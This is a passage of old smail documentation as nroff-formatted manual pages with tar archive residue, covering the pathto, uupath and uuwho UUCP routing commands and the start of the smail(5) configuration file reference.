sitename may be followed by a route to the target of the address if the leading site- name and target are different. The remainder of the argu- ment, if anything, is added on to the end. This command advises you on how _s_m_a_i_l(8) will handle an address but does not give the actual address that _s_m_a_i_l(8) will use, unless the --nn option given. The _u_u_p_a_t_h(1) command attempts to compute paths from your machine to other machines. If the argument is the name of a site such as _n_s_a_v_a_x_, or _n_s_a_v_a_x_._n_s_a_._g_o_v_, or if it is the name of a domain such as _._n_s_a_._g_o_v_, then the _u_u_p_a_t_h(1) pro- gram will try to produce a path to that site or domain. If the argument is a `!'_-_p_a_t_h, then _u_u_p_a_t_h computes a route to the first site, and appends the remainder of the path onto it. For historical reasons, the resultant string will be _`_`_%_s_'_'_, if the host is the local host. It is important to note that _u_u_p_a_t_h arguments relate to _s_i_t_e_n_a_m_e_s, while the _p_a_t_h_t_o arguments relate to _a_d_d_r_e_s_s_e_s _o_f _u_s_e_r_s. The command: uupath namei will compute a path to the SITE named _n_a_m_e_i_, while the command: pathto namei will ``compute a path'' to the USER named _n_a_m_e_i on the local machine. OOPPTTIIOONNSS All three commands take hosts and addresses from the argu- ments, or from standard input if none are given as argu- ments. The following options are recognized: Local 1 February 1988 1 PATHTO(1) PATHTO(1) --ss If _s_m_a_r_t_-_h_o_s_t routing is enabled in the _s_m_a_i_l rout- ing databases, then --ss will cause smart-host rout- ing used as a last resort in computing paths. By default, smart-host routing is not taken into account by these commands. A smart-host router will route an address to a remote host that suppos- edly has a larger or more up-to-date routing database than the local host. --dd By default, _p_a_t_h_t_o does not examine what will hap- pen when mail is actually delivered to the final user(s). If the final users are on the local sys- tem, then --dd will apply any aliasing, forwarding or mailing lists expansions. The order and number of arguments will not necessarily correspond to the order and number of output address when this option is used. --nn _u_u_p_a_t_h will always produce a pure UUCP path, and by default so will will _p_a_t_h_t_o, in the interest of backward compatibility. The --nn flag will generate other addressing forms if they would actually be used by _s_m_a_i_l for delivery. With the --nn option, the _p_a_t_h_t_o command will print the next-hop host that a particular address would be sent to (or it will print ``local'' if the address would be deliv- ered locally), and it will print the address that smail will give to the next-hop. The next-hop host and the address are separated by :: and some whitespace. --tt Announce the name of the transport that would be used in delivering to an address, if the transport is known. Local addresses that are not resolved using the --dd flag will not produce a tranport because the specific local transport cannot deter- mined without applying the directors. --vv Be verbose, announcing each important state of address resolution as it occurs. The verbose mes- sages are written to standard error. EEXXAAMMPPLLEESS The following examples assume the following routing con- figuration will be used to compute path information: a. a list of known local host names: _a_m_d_a_h_l, _u_t_s_._a_m_d_a_h_l_._c_o_m and _a_m_d_a_h_l_._c_o_m. b. a _p_a_t_h_a_l_i_a_s(8) database containing the lines: .nsa.gov namei!nsavax!%s amdahl %s glotz namei!glotz!%s Local 1 February 1988 2 PATHTO(1) PATHTO(1) kgbvax name!walldrug!kgbvax!%s namei namei!%s nsavax namei!glotz!nsavax!%s where each path will use _U_U_X for delivery. c. a known network connection to the host _e_e_k, which is also known as _e_e_k_._u_t_s_._a_m_d_a_h_l_._c_o_m. d. domains of the form _[_n_u_m_b_e_r_._n_u_m_b_e_r_._n_u_m_b_e_r_._n_u_m_b_e_r_] are recognized as internet numbers to be delivered using TCP/IP. e. the path _n_a_m_e_i_!_g_l_o_t_z_!_n_s_a_v_a_x is used as a smart-host path for addresses the localhost cannot route. The following commands, in italic, will produce the corre- sponding output: $ _u_u_p_a_t_h _n_s_a_v_a_x _m_i_t_-_p_r_e_p _u_t_s_._a_m_d_a_h_l_._c_o_m namei!glotz!nsavax uupath: no route found to mit-prep %s $ _u_u_p_a_t_h _-_s _m_i_t_-_p_r_e_p_!_r_m_s namei!glotz!nsavax!mit-prep!rms $ _p_a_t_h_t_o _@_e_e_k_._u_t_s_._a_m_d_a_h_l_._c_o_m_:_r_m_s_@_p_r_e_p_._a_i_._m_i_t_._e_d_u eek!prep.ai.mit.edu!rms $ _p_a_t_h_t_o _-_n _@_[_1_9_2_._2_._1_2_._3_]_:_r_m_s_@_p_r_e_p_._a_i_._m_i_t_._e_d_u [192.2.12.3] :: rms@prep.ai.mit.edu $ _p_a_t_h_t_o _b_r_o_w_n_@_n_s_a_v_a_x namei!glotz!nsavax!brown DDIIAAGGNNOOSSTTIICCSS An error message will be written to standard error if there is a syntax error in an address, or if no path can be found for an address and smart-host routing is not being used. In case of such errors, these programs return an appropriate exit code from the file _/_u_s_r_/_i_n_c_l_u_d_e_/_s_y_s_e_x_i_t_s_._h; e.g., _E_X___D_A_T_A_E_R_R or _E_X___N_O_H_O_S_T. FFIILLEESS _/_u_s_r_/_l_i_b_/_m_a_i_l_/_p_a_t_h_s Standard ascii path database. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_r_o_u_t_e_r_s Smail routing configuration. SSEEEE AALLSSOO _s_m_a_i_l(8), _s_m_a_i_l(5), _p_a_t_h_a_l_i_a_s(8) and _p_a_t_h_a_l_i_a_s(5). Local 1 February 1988 3 PATHTO(1) PATHTO(1) BBUUGGSS Your local site does not always know a correct path to every site. Routing is only as good as your routing information. Smail cannot compensate for out-of-date or poorly syn- cronized databases. CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 1 February 1988 4 smail-doc/man1/uuwho100644 3 3 11037 5575353164 12352 0ustar binbin UUWHO(1) UUWHO(1) NNAAMMEE uuwho - show map entry for a site SSYYNNOOPPSSIISS uuuuwwhhoo [ --rr ] [ --dd _d_b_m_f_i_l_e ] [ _s_i_t_e_n_a_m_e ] ... uuuuwwhhoo --ii [ --dd _d_b_m_f_i_l_e ] _m_a_p_f_i_l_e _._._. DDEESSCCRRIIPPTTIIOONN _U_u_w_h_o without the --ii option extracts the map entry for each given _s_i_t_e_n_a_m_e_. The output provides labels for the site entry and includes all the connection information as determined by the UUCP mapping project. By default, uuwho extracts a map for the local site where the local sitename is determined in a system dependent fashion. --ii If the option --ii is given, then map info will be added to a _d_b_m(3X)-style database, rather than printing info about a site. This information is then available for use by subsequent _u_u_w_h_o com- mands. --dd _d_b_m_f_i_l_e This option specifies the basename for a _d_b_m database is to be used for this operation. If _d_b_m_- _f_i_l_e begins with a ``/'' or ``.'', then it is taken to be the actual database name, otherwise it is assumed to be a file under the directory _/_u_s_r_/_l_i_b_/_m_a_i_l_. If the --dd option is not given, then _d_b_m_f_i_l_e defaults to _/_u_s_r_/_l_i_b_/_m_a_i_l_/_u_u_w_h_o. --rr If the option --rr is given, then raw map entries are printed. Without this option, recognized #letter lines are listed in a more symbolic form. Each _m_a_p_f_i_l_e file is scanned for lines of the form: ##NN _s_i_t_e_n_a_m_e ##NN _s_i_t_e_n_a_m_e_1, _s_i_t_e_n_a_m_e_2, ... indicating that a new map is starting. In the second form, each _s_i_t_e_n_a_m_e is considered to belong to the map that follows. Sitenames listed on such lines become the _s_i_t_e_n_a_m_e keywords which are available for subsequent requests. A _m_a_p_f_i_l_e of -- indicates that a map should be read from standard input. Lines of the form: ffiillee {{ ffiilleennaammee }} indicate that the line following should be considered as if it were the first line of the stated file. 1 UUWHO(1) UUWHO(1) EEXXAAMMPPLLEESS uuwho walldrug hoptoad uuwho -d other_dbm find /usr/spool/uumaps -name '[ud].*' -print | while read file; do echo "file { $file }" cat $file done | uuwho -i - FFIILLEESS _d_b_m_f_i_l_e_._p_a_g, _d_b_m_f_i_l_e_._d_i_r The two parts of a dbm database, when the DBM library is used to store the database. The _._p_a_g file contains the keys and data associated with the database, while the _._d_i_r file contains information that affects the hashing algorithm used to determine which block contains a particular value. _/_u_s_r_/_l_i_b_/_m_a_i_l_/_u_u_w_h_o The basename for the default _d_b_m database files. If the DBM library is not used, then this is the name used to store the default database, as a sorted file. SSEEEE AALLSSOO _p_a_t_h_t_o(1), _d_b_m(3X), and _p_a_t_h_a_l_i_a_s(8). BBUUGGSS If a site has more than one map entry only the latter entry is shown. The information available for a site may not be current. Only sites marked via ##NN in the map database are listed. Normally, sites listed under a domain will not be marked using ##NN. In this case the domain, including the dot but excluding the machine name must be used. 2 smail-doc/man5/ 40755 3 3 0 5575353214 11141 5ustar binbinsmail-doc/man5/smail100644 3 3 647347 5575353241 12353 0ustar binbin SMAIL(5) SMAIL(5) NNAAMMEE /usr/lib/mail/* - configuration files used by smail SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//ccoonnffiigg //uussrr//lliibb//mmaaiill//qquuaalliiffyy //uussrr//lliibb//mmaaiill//ddiirreeccttoorrss //uussrr//lliibb//mmaaiill//rroouutteerrss //uussrr//lliibb//mmaaiill//ttrraannssppoorrttss //uussrr//lliibb//mmaaiill//rreettrryy //uussrr//lliibb//mmaaiill//mmeetthhooddss// DDEESSCCRRIIPPTTIIOONN The _c_o_n_f_i_g, _q_u_a_l_i_f_y, _d_i_r_e_c_t_o_r_s, _r_o_u_t_e_r_s, _t_r_a_n_s_p_o_r_t_s, and _r_e_t_r_y files describe the rules used by _s_m_a_i_l(8) in pro- cessing and delivering mail. In addition to these config- uration files, _m_e_t_h_o_d files may be pointed to by entries in the _r_o_u_t_e_r_s file. The actual paths may differ from system to system and, in addition, the paths to these files, with the exception of the config file itself, may be changed in the config file. _S_m_a_i_l is compiled with a default configuration. This default configuration is suitable for many sites that com- municate to other systems via UUCP, or SMTP. For such sites, no configuration files are needed, though it may still be convenient to have a _c_o_n_f_i_g file for attributes (described below) such as ssmmaarrtt__uusseerr and ssmmaarrtt__ppaatthh. See the section DDEEFFAAUULLTT CCOONNFFIIGGUURRAATTIIOONN for more details. CCOOMMMMOONN FFOORRMMAATT CCOONNVVEENNTTIIOONNSS In all files used by _s_m_a_i_l, entries begin with a character in column 1 that is not white space or the character `#'. Entries continue until the next line which begins with a character other than white-space or the character `#', or until the end of the file is encountered. Comments begin with the character `#', in any column and end at the next newline. A `#' in the first column does not signify the end of an entry. Variable and attribute names in configuration files are formed of characters from the set of letters, numbers and the character `_'. String values may be enclosed in double quotes, in which case backslash escapes are processed as in C. If string values are not enclosed in double quotes, the values are limited to characters from the set of letters, digits and the characters !! @@ $$ %% ^^ && ** -- __ ++ ~~ // ?? || << >> :: [[ ]] {{ }} .. '' and ``. Numbers are as in C, with a prefix of 0 specifying an octal constant and a prefix of 0x specifying a hexadecimal Local 1 February 1988 1 SMAIL(5) SMAIL(5) constant. In addition, a suffix of _k or _K specifies a multiplier of 1024 and a suffix of _m or _M specifies a mul- tipler of 1048576, or 1024K. SSttrriinngg EExxppaannssiioonn Some string values will be variable and filename expanded before being used. When this is done, certain substrings, beginning with $, will be replaced by the value of a _s_m_a_i_l variable. The names of expansion variables are either a single character, or are multiple characters from the set of letters, digits and underscore. A variable name can also be enclosed between { and }, to isolate the variable name from the surrounding text. In addition to variables, a number of meta-expansions can be used. These expansions are of the form: ${_m_e_t_a___n_a_m_e:_n_a_m_e} where _m_e_t_a___n_a_m_e defines some operation to perform on the value of the variable _n_a_m_e. Multiple meta-expansions can be specified, and they are processed from right to left. For example: ${lc:strip:user} This strips quotes from the value of the variable uusseerr and then converts characters to lower case. When a string to be expanded begins with the character `~', a home directory is substituted. If only `~' is given, or `~/' is given, then the home directory associ- ated with an address is substituted. If the form ``~_u_s_e_r_- _n_a_m_e'' is given, where _u_s_e_r_n_a_m_e is the name of a user on the local host, that user's home directory is substituted. CCoonnddiittiioonnaallss Conditionals can be used to include text based on whether or not a particular value is non-empty. Conditionals are of the form: ${if _c_o_n_d_i_t_i_o_n [:]_s_t_r_i_n_g} or ${if _c_o_n_d_i_t_i_o_n {_s_t_r_i_n_g_1} {_s_t_r_i_n_g_2}} The first form includes _s_t_r_i_n_g if the condition is true. The second form includes _s_t_r_i_n_g_1 if the condition is true, or _s_t_r_i_n_g_2 if the condition is false. For readability, eellssee can be inserted before the _e_l_s_e clause. Possible conditions are: Local 1 February 1988 2 SMAIL(5) SMAIL(5) !_c_o_n_d_i_t_i_o_n Negate the truth value of _c_o_n_d_i_t_i_o_n. ddeeff::_v_a_r_i_a_b_l_e True if the given expansion variable is defined and is non-empty. hheeaaddeerr::_h_e_a_d_e_r True if the message contains a header field named _h_e_a_d_e_r. oorriiggiinn::llooccaall True if the message originated locally. oorriiggiinn::rreemmoottee True if the message was received from a remote machine. ddeesstt::llooccaall True if the message is being delivered to an address on the local host. ddeesstt::rreemmoottee True if the message is being delivered to a remote host. xxffoorrmm::_t_r_a_n_s_f_o_r_m_a_t_i_o_n True if the transformation being applied to the message, for delivery by the assigned transport, matches the given type. Valid types are: llooccaall, iinneett, uuuuccpp, or nnoonnee. eeqq{{_v_a_r_i_a_b_l_e}}{{_s_t_r_i_n_g}} True if the given expansion variable matches the given string. oorr{{{{_c_o_n_d_i_t_i_o_n}}......}} True if any of the given conditions are true. aanndd{{{{_c_o_n_d_i_t_i_o_n}}......}} True if all of the given conditions are true. FFiillee llooookkuuppss String expansions can use lookup procedures to convert a key, taken from a an expansion variable, into a string found in a file or other accessible database. These expansions are defined using the form: ${lookup:_v_a_r_i_a_b_l_e:_p_r_o_t_o{_f_i_l_e_-_e_x_p_a_n_s_i_o_n} [:]_f_o_u_n_d_- _s_t_r_i_n_g} or ${lookup:_v_a_r_i_a_b_l_e:_p_r_o_t_o{_f_i_l_e_-_e_x_p_a_n_s_i_o_n} {_f_o_u_n_d_-_s_t_r_i_n_g} {_n_o_t_-_f_o_u_n_d_-_s_t_r_i_n_g} Lookups operate by taking the value of the indicated vari- able as a key for lookup in a file. The _p_r_o_t_o string defines how the lookup is to be performed, and _f_i_l_e_- Local 1 February 1988 3 SMAIL(5) SMAIL(5) _e_x_p_a_n_s_i_o_n is a string defining the file or database to search. If the key is found, then the _f_o_u_n_d_-_s_t_r_i_n_g is expanded, otherwise the _n_o_t_-_f_o_u_n_d_-_s_t_r_i_n_g is expanded. A $$vvaalluuee reference in _f_o_u_n_d_-_s_t_r_i_n_g is replaced by the value found by the lookup. For readability, tthheenn can be inserted before the _f_o_u_n_d clause, and eellssee can be inserted before the _n_o_t_-_f_o_u_n_d clause. Allowed lookup methods are: bbsseeaarrcchh Use a binary search to locate the key in a sorted file, organized as lines beginning with a key separated from a value by blanks. llsseeaarrcchh Use a linear search to locate the key in a plain file, again organized as lines beginning with a key separated from a value by blanks. Comments in this file begin with # and continue until end-of-line. Blank lines are ignored. ddbbmm Lookup the dbm in a dbm database. yypp Lookup the key in a remote Sun NIS database. aalliiaassyypp Lookup the key in a remote Sun NIS database. This differs from yypp in that a nul byte is added to the key before lookup. nniiaalliiaass Lookup the key in a NeXT netinfo database. EExxppaannssiioonn vvaarriiaabblleess The complete set of variable names depends upon context, but the following are always available: bbaatt a string defining a string of characters which identifies where your smail sources originated. See the source file _s_r_c_/_v_e_r_s_i_o_n_._c for more infor- mation. ccoommppiillee__ddaattee or lldd__ddaattee the date when the current smail binary was com- piled. ccoommppiillee__nnuumm or lldd__nnuumm a decimal number giving the number of times smail has been compiled since the creation of the source file _l_d_i_n_f_o_._c. ccttiimmee the date and time, in the form returned by the _c_t_i_m_e(3) function. ddaattee The date and time in ARPAnet format. Local 1 February 1988 4 SMAIL(5) SMAIL(5) ssppooooll__ddaattee The date and time that the message was received by the local host, in ARPAnet format. ggrraaddee The priority character for the current message. See the ggrraaddeess attribute in the _c_o_n_f_i_g file for more information on this value. mmeessssaaggee__iidd or iidd the message ID for the current message. mmeessssaaggee__ssiizzee or ssiizzee the total size of the spooled message. mmeessssaaggee__bbooddyy__ssiizzee or bbooddyy__ssiizzee the size of the body of the message, which excludes the message header fields, and also excludes any overhead within the message spool file. ppaattcchh__nnuummbbeerr or ppaattcchh the patch level of the smail sources, from the source file _p_a_t_c_h_n_u_m, which contains the date that the most recently applied patch was created, and the number of that patch. ppaattcchh__ddaattee The date when the most recently applied patch was created. ppiidd or $$ the current process ID. pprriimmaarryy__nnaammee or pprriimmaarryy the canonical name for the local host. rreelleeaassee__ddaattee or rreelleeaassee the release date of the smail sources. sseennddeerr or ffrroomm the address of the sender of a message. sseennddeerr__nnaammee or ffuullllnnaammee the full-name of the sender, taken either from the --FF argument to ssmmaaiill or from the password file. sseennddeerr__hhoosstt the sending host, if one is known. This is set automatically for mail received via UUCP or SMTP. It can also be set with --ooMMss from the command line. sseennddeerr__pprroottoo the sending protocol (e.g. ssmmttpp or uuuuccpp), if one Local 1 February 1988 5 SMAIL(5) SMAIL(5) is known. This is set automatically for mail received via UUCP or SMTP. It can also be set with --ooMMss from the command line. sseennddeerr__pprrooggrraamm The program that queued the message. For mail received via UUCP, this will be, typically, rrmmaaiill. Otherwise, the sender program will likely by set to sseennddmmaaiill or ssmmaaiill, depending upon the program that typically is invoked for receiving mail. uuuuccpp__nnaammee the UUCP-network name for the local host. vveerrssiioonn a short version string for _s_m_a_i_l. vveerrssiioonn__ssttrriinngg a verbose version string. vviissiibbllee__nnaammee or nnaammee the local host name used in outgoing addresses. ssmmaaiill__lliibb__ddiirr or lliibb__ddiirr the value of the config file variable ssmmaaiill__lliibb__ddiirr, which is the directory in which configuration files are found. In addition, the following variables are defined if they are available in the current context: HHOOMMEE or hhoommee the home directory of a user associated with an address. hhoosstt the remote host string associated with a remote address. uusseerr or aaddddrr a user name or remaining address string associated with an address. iinnppuutt__aaddddrr The address specified in the message, or in an alias or mailing list expansion, that is being processed. ddiirreeccttoorr The name of the director that matched the address, if appropriate. rroouutteerr The name of the router that matched the address, if appropriate. Local 1 February 1988 6 SMAIL(5) SMAIL(5) ttrraannssppoorrtt The name of the transport to be used for deliver- ing to the address, if the address has been suc- cessfully resolved. The following meta-expansions also exist: llcc convert to lower case. ppaarreenntt interpret the value within the context of the par- ent local address that produced the associated address. This is useful when the local address that produced an address is desired. Expansion fails if no parent exists. qquuoottee enclose the value in quotes, if it would not oth- erwise be a valid local-form address, within the rules of RFC822. Uses backslash escapes as appro- priate. (This is not available in the Alpha release of smail). ssttrriipp Remove backslashes and double quotes from a value. If a double-quote is preceded by a backslash, the backslash is removed, but the double quote is not. Sequences of whitespace characters and dots are converted to exactly one dot character. ttoopp interpret the value within the context of the original address, supplied to the mailer, that produced the associated address. uucc convert to upper case. The following are sample expansions: /usr/spool/mail/${lc:user} with a $$uusseerr value of ``Tron'' will become: /usr/spool/mail/tron whereas: Received: by $primary_name ($version_string) id <$message_id@primary_name>; $spool_date will become something such as: Received: by futatsu.uts.amdahl.com (smail 3.0.2 03-dec-87) id ; Tue, 8 Dec 87 19:45 PST and: Local 1 February 1988 7 SMAIL(5) SMAIL(5) $host!rmail ${strip:addr} with an $$aaddddrr value of ``Ronald S. Karr'' and a $$hhoosstt value of ``amdahl'' will become: amdahl!rmail Ronald.S.Karr If a value does not exist (such as $$HHOOMMEE being used when no associated home directory is known, or when a string begins with "~_u_s_e_r_n_a_m_e" and the _u_s_e_r_n_a_m_e is not known, or when $$hhoosstt is used for a local address) then the expansion fails. TTHHEE CCOONNFFIIGG FFIILLEE The config file defines values for global variables used by _s_m_a_i_l. Each entry in this file gives the name of a variable to be set and defines a string, numeric or boolean value to give to that variable. The recognized forms for entries in the config file are: vvaarriiaabbllee__nnaammee = _s_t_r_i_n_g or _n_u_m_b_e_r vvaarriiaabbllee__nnaammee or +vvaarriiaabbllee__nnaammee -vvaarriiaabbllee__nnaammee The first form above sets the variable to a string or numeric value, the second form sets a boolean variable, and the last form resets a boolean variable, clears a string value or sets a numeric value to zero. The following config file specifies a spool file mode of 0400, a maximum message size of 200K, a method directory of _/_u_s_r_/_l_i_b_/_s_m_a_i_l_/_m_e_t_h_o_d and disables use of a transport configuration: # don't allow others to read spool files spool_mode = 0400 # truncate messages that are too large max_message_size = 200k # method files are stored in this directory method_dir = /usr/lib/smail/method # we are using the built in transport definitions, # so don't bother looking for a transport file -transport_file The complete list of recognized attributes is given in the following table, in alphabetic order. Note that the default values can be changed when compiling the _s_m_a_i_l program. Local 1 February 1988 8 SMAIL(5) SMAIL(5) _a_u_t_h___d_o_m_a_i_n_s type: _s_t_r_i_n_g default value: _o_f_f A colon-separated list of domain names for which this host is considered authoritative. A host that is authoritative for a domain has access to all routing information needed for that domain. The primary purpose of this variable is to list domains that will not be matched by the ssmmaarrtthhoosstt router driver. _a_u_t_o___m_k_d_i_r type: _b_o_o_l_e_a_n default value: _o_n If set, then any directories required for spooling and logging will be created if they do not exist. Smail will never try to create required parent directories. _a_u_t_o___m_k_d_i_r___m_o_d_e type: _i_n_t_e_g_e_r default value: _0_7_5_5 When directories are created automatically by smail, they are created with this permission mode mask. See _s_t_a_t(2) for information on what this mode represents. _c_o_n_s_o_l_e type: _s_t_r_i_n_g default value: _/_d_e_v_/_c_o_n_s_o_l_e The file name for the console device. This file- name is used as a last resort in attempting to write panic messages. _c_o_p_y_i_n_g___f_i_l_e type: _s_t_r_i_n_g default value: _`_`_C_O_P_Y_I_N_G_'_' The pathname to the _C_O_P_Y_I_N_G file, which describes your distribution rights and details the warranty information from the authors of smail. If this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. _d_a_t_e___f_i_e_l_d type: _s_t_r_i_n_g default value: _`_`_D_a_t_e_: _$_s_p_o_o_l___d_a_t_e_'_' This string will be expanded to form the DDaattee:: header field. This will be used if such a field does not already exist in the header. _d_e_l_i_v_e_r_y___m_o_d_e type: _s_t_r_i_n_g default value: _`_`_f_o_r_e_g_r_o_u_n_d_'_' The default mode of delivery for new mail. This Local 1 February 1988 9 SMAIL(5) SMAIL(5) can be one of the values ``foreground'' (immediate delivery in the process that received the message), ``background'' (immediate delivery in a child pro- cess, where the process that received the message exits immediately), or ``queued'' (do not attempt delivery until a later queue run). _d_i_r_e_c_t_o_r___f_i_l_e type: _s_t_r_i_n_g default value: _`_`_d_i_r_e_c_t_o_r_s_'_' Names the file containing the director configura- tion information. If this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. _e_r_r_o_r___c_o_p_y___p_o_s_t_m_a_s_t_e_r type: _b_o_o_l_e_a_n default value: _o_f_f Copy the postmaster on all error messages. Nor- mally only errors that appear to be a result of administrator errors will be mailed to the postmas- ter. If _e_r_r_o_r___c_o_p_y___p_o_s_t_m_a_s_t_e_r is set, then errors that are returned to the sender, or that are mailed to owners of mailing lists, will also be sent to the postmaster. _f_n_l_o_c_k___i_n_t_e_r_v_a_l type: _n_u_m_b_e_r default value: _3 The sleep interval between retries while attempting to lock mailbox files with a lockfile-based locking protocol. On systems where sleep has a 1 second granularity, this value should be at least 2. _f_n_l_o_c_k___m_o_d_e type: _n_u_m_b_e_r default value: _0_6_6_6 Mailbox lock files are created with this mode. _f_n_l_o_c_k___r_e_t_r_i_e_s type: _n_u_m_b_e_r default value: _0 _i_f _y_o_u _h_a_v_e _a_n _a_t_o_m_i_c _r_e_n_a_m_e_, _5 _o_t_h_e_r_w_i_s_e The number of times to attempt to lock mailbox files using a file-based locking protocol. _f_r_o_m___f_i_e_l_d type: _s_t_r_i_n_g This string will be expanded to form From: or Sender: fields. The expanded string must begin with "From:", which may be replaced by other strings to form an actual header field. The default value is: From: $sender${if def:sender_name: ($sender_name)} Local 1 February 1988 10 SMAIL(5) SMAIL(5) _g_r_a_d_e_s type: _s_t_r_i_n_g default value: _s_p_e_c_i_a_l_-_d_e_l_i_v_e_r_y_:_9_:_a_i_r_-_m_a_i_l_:_A_:_f_i_r_s_t_-_c_l_a_s_s_:_C_:_b_u_l_k_:_a_:_j_u_n_k_:_n The priority, or grade, characters corresponding to particular values of the PPrreecceeddeennccee:: field in the message header. The parts of the string are sepa- rated by `:' with alternating precedence string and grade character. Numbers are higher in priority than upper case letters which are in turn higher than lower case letters. Also, lower numbers are higher in priority than higher numbers, and the same goes for letters lower in the alphabet. Grades in the range [[aa--mm]] will only have an error message and header returned to the sender on errors, rather than including the message body as well. Grades in the range [[nn--zz]] will not have any- thing returned to the sender on errors. The precedence names recognized by many BSD send- mail configurations are: _s_p_e_c_i_a_l_-_d_e_l_i_v_e_r_y, _f_i_r_s_t_- _c_l_a_s_s and _j_u_n_k. Others are useful mainly for get- ting mail out of the local machine or for communi- cation with other machines running _s_m_a_i_l in a simi- lar configuration. The grade character for a mes- sage is available in string expansions as the $$ggrraaddee variable. _h_i_t___t_a_b_l_e___l_e_n type: _n_u_m_b_e_r default value: _2_4_1 _w_i_t_h _a _l_a_r_g_e _a_d_d_r_e_s_s _s_p_a_c_e_, _1_3 _o_t_h_e_r_w_i_s_e The length of an internal address hit table. Addresses are hashed into this table to prevent multiple deliveries to the same address. Longer tables speed address hashing at a small memory expense. NOTE: this value may be ignored in the future. _h_o_s_t___l_o_c_k___t_i_m_e_o_u_t type: _i_n_t_e_r_v_a_l default value: _3_0 Specify the timeout for locking a host's retry file for the purpose of exclusive delivery to that host. If the file cannot be locked within the specified time, then the message is not delivered; unless other considerations intervene, the message is left in the message queue (deferred). A number with no suffix indicates seconds. Suffixes can be added to indicate a time multiplier. mm indicates minutes, hh indicates hours, dd indicates days. _h_o_s_t_n_a_m_e_s or _h_o_s_t_n_a_m_e type: _s_t_r_i_n_g default value: _c_o_m_p_u_t_e_d _a_t _r_u_n _t_i_m_e A colon-separated list of names for the local host. This list, together with _u_u_c_p___h_o_s_t and Local 1 February 1988 11 SMAIL(5) SMAIL(5) _m_o_r_e___h_o_s_t_n_a_m_e_s should represent all possible names for the local host. Note that the _v_i_s_i_b_l_e___n_a_m_e hostname is not recognized as a name for the local host unless it also appears in the value for one of the other hostname variables. For a host that is in more than one domain or that can gateway to more than one level of domains, this should represent those names. For a host in a registered domain in the UUCP zone, which is also in the maps dis- tributed over USENET, _l_o_c_a_l_h_o_s_t..uuuuccpp should also be in the list. The first value in _h_o_s_t_n_a_m_e_s is used internally as a special ``primary name'' for the local host. If _h_o_s_t_n_a_m_e_s is set turned off (which is generally the default) then the hostnames value will be com- puted by pairing the localhosts's name, computed in a system-dependent manner, with all values in the _d_o_m_a_i_n_s attribute list. _l_o_c_k___b_y___n_a_m_e type: _b_o_o_l_e_a_n default value: _s_y_s_t_e_m_-_d_e_p_e_n_d_e_n_t If this is on, then input spool file locking is always based on lock files. Otherwise, an inode- based locking mechanism may be used, such as _f_l_o_c_k_(_2_) under BSD, or _l_o_c_k_f_(_3_) under System V. Inode-based locking is more efficient, if avail- able. However, lock files can be easily created by shell scripts which may be advantageous under some circumstances. _l_o_c_k___m_o_d_e type: _n_u_m_b_e_r default value: _0_4_4_4 The creation mode for lock files. _l_o_g___m_o_d_e type: _n_u_m_b_e_r default value: _0_6_6_4 The creation mode for the various mail system log files. _l_o_g_f_i_l_e type: _s_t_r_i_n_g default value: _`_`_/_u_s_r_/_s_p_o_o_l_/_s_m_a_i_l_/_l_o_g_/_l_o_g_f_i_l_e_'_' The name of a file to which transaction and error messages are appended. If this file does not exist, it is created with a mode from the _l_o_g___m_o_d_e attribute. _m_a_x___h_o_p___c_o_u_n_t type: _n_u_m_b_e_r default value: _2_0 Local 1 February 1988 12 SMAIL(5) SMAIL(5) If the hop count for a message equals or exceeds this number, then attempts at remote delivery will result in an error message being returned to the sender. This is used to prevent infinite loops. The hop count for a message can be set using the --hh option when invoking _s_m_a_i_l. Otherwise it is com- puted from the number of RReecceeiivveedd:: fields in the message header. _m_a_x___l_o_a_d___a_v_e type: _n_u_m_b_e_r default value: _0 For systems on which a load average can be com- puted, this specifies the maximum load average at which mail delivery will be performed, otherwise this value is ignored. If the load average exceeds this number, incoming mail will be saved in the input spool directory, though no delivery will be performed. If this value is 0 the load average will not be computed and delivery will always be performed. Normally the load average refers to a 5 minute load average. (This is not currently imple- mented) _m_a_x___m_e_s_s_a_g_e___s_i_z_e type: _n_u_m_b_e_r default value: _1_0_0_k Messages longer than this will be truncated by _s_m_a_i_l when when written to its input queue. (This is not currently implemented and there is no limit on the size of messages). _m_e_s_s_a_g_e___b_u_f___s_i_z_e type: _n_u_m_b_e_r default value: _1_0_0_k _w_i_t_h _a _l_a_r_g_e _a_d_d_r_e_s_s _s_p_a_c_e_, _B_U_F_S_I_Z _o_t_h_e_r_w_i_s_e The size of an internal buffer for reading and writing messages. For systems with a reasonable VM space, this can be equal to the maximum size for messages. Specifying the value of in which case reading messages and then delivering them to one or more destinations requires very few read calls, as the entire message is always kept in memory. BUF- SIZ, here, refers to the defined symbol in /usr/include/stdio.h. _m_e_s_s_a_g_e___i_d___f_i_e_l_d type: _s_t_r_i_n_g default value: _`_`_M_e_s_s_a_g_e_-_I_d_: _<_$_m_e_s_s_a_g_e___i_d_@_$_p_r_i_m_a_r_y___n_a_m_e_>_'_' This string will be expanded to form the MMeessssaaggee-- IIdd:: header field. This will be used if such a field does not already exist in the header. _m_e_s_s_a_g_e___l_o_g___m_o_d_e type: _n_u_m_b_e_r Local 1 February 1988 13 SMAIL(5) SMAIL(5) default value: _0_6_4_4 Each message has associated with it a unique file containing a transaction log for that message. This number specifies the creation mode for this log file. _m_e_t_h_o_d___d_i_r type: _s_t_r_i_n_g default value: _`_`_m_e_t_h_o_d_s_'_' If a mmeetthhoodd attribute for a router does not specify a pathname beginning with `/', then this directory is prepended to the path to form the complete path for the method file. If this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. See the description of the router file for more information on method files. _m_o_r_e___h_o_s_t_n_a_m_e_s type: _s_t_r_i_n_g default value: _o_f_f A colon-separated list of hostnames. This list is in addition to any names which may have been com- puted from the ddoommaaiinnss attribute in forming the value of hhoossttnnaammeess. Thus, it is useful for speci- fying names which are not formed from the computed name for the host. The mmoorree__hhoossttnnaammeess attribute can also be specified as ggaatteewwaayy__nnaammeess, since the attribute is often used to indicate the list of domains for which this machine is a gateway. _n_o_b_o_d_y type: _s_t_r_i_n_g default value: _s_i_t_e_-_d_e_p_e_n_d_e_n_t_: 